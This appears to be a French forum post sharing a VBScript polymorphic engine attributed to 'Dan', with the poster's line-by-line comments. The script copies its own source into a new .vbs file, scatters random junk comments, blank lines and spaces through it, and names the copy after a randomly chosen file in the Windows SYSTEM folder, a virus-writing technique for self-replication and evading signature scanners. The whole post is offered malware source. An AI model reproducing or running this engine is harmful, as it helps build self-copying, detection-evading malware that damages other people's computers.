c'est le moteur polymorphe de Dan, je l'ai juste commenté
Source / Exemple :
on error resume next 'pour d'éventuelles erreurs
Dim F,R,G,O,T 'déclare les variables (F,R,G,O,T)
Randomize 'initialise le générateur de nombres aléatoires
Set F=CreateObject("Scripting.FileSystemObject") 'détermine F
O="Moteur polymorphe.vbs" 'détermine O
G=H+".vbs" 'détermine G
F.CreateTextFile G 'crée le fichier G
Set ts=F.OpenTextFile(G,2) 'détermine ts (ts = ouverture du fichier G)
Set R=F.OpenTextFile(O,1) 'détermine R (R = ouverture du fichier O)
Do 'début de l instruction Do...Loop
x=Int(Rnd*4+1) 'détermine x (x = 4+1)
If x=1 Then z=E 'si x = 1 alors z = E
If x=2 Then z=U 'si x = 2 alors z = U
If x=3 Then z=L 'si x = 3 alors z = L
If x=4 Then z=K(10,20) 'si x = 4 alors z = K
If x=5 Then z=vbCrLf 'si x = 5 alors z = saut de ligne
ts.WriteLine z 'écrit la valeur de z dans ts
If R.AtEndOfStream=-1 Then Exit Do
Loop
ts.Close 'fermeture du fichier ts
R.Close 'fermeture du fichier R
Function U 'début de la fonction U
If R.AtEndOfStream=0 Then T=R.ReadLine
If Left(T,1)="'" Then U
If T="" Then U
If W=0 Then U
If Left(T,2)="O=" Then T="O="+""""+G+""""
U=T 'détermine U (U = T)
End Function 'fin de la fonction U
Function W 'début de la fonction W
For i=1 To Len(T)
If Mid(T,i,1)<>Chr(32) Then W=2:Exit For
W=0 'détermine W (W = 0)
Next
End Function 'fin de la fonction W
Function J(n,m) 'début de la fonction J
For i=0 To (Int(Rnd*(m-n)+n))
J=Chr(14+Int(Rnd*241))+J 'détermine J
Next
End Function 'fin de la fonction J
Function K(n,m) 'début de la fonction K
K=Space(Int(Rnd*(m-n)+n)) 'détermine K
End Function 'fin de la fonction K
Function L 'début de la fonction L
L=J(Int(Rnd*10),Int(Rnd*10)+10) 'détermine L
n=Int(Rnd*3)+1 'détermine n
If n=1 Then y=vbCrLf 'si n = 1 alors y = saut de ligne
If n=2 Then y=K(Int(Rnd*3),Int(Rnd*5)+3) 'si n = 2 alors y = K
If n=3 Then y="" 'si n = 3 alors y = rien
L="'"+L+y 'détermine L
End Function 'fin de la fonction L
Function E 'début de la fonction E
d=Int(Rnd*4)+1
For a=0 To d
E=E+vbCrLf 'détermine E
Next
End Function 'fin de la fonction E
Function H 'début de la fonction H
Set c=F.GetSpecialFolder(0) 'détermine c
c=c+"\SYSTEM"
Set D=F.GetFolder(C)
Set z=D.Files
x=0
For Each q in z
x=x+1
Next
If x<>0 then
x=int(Rnd*x+1)
s=0
For Each q in z
s=s+1
H=F.GetBaseName(q.name)
If s=x Then Exit For
Next
End If
If O=H+".vbs" then x=0
If x=0 then
H=""
b=Int(rnd*8)+3
For n=1 To b
H=Chr(Int(rnd*25)+65)+H
Next
End If
End Function 'fin de la fonction H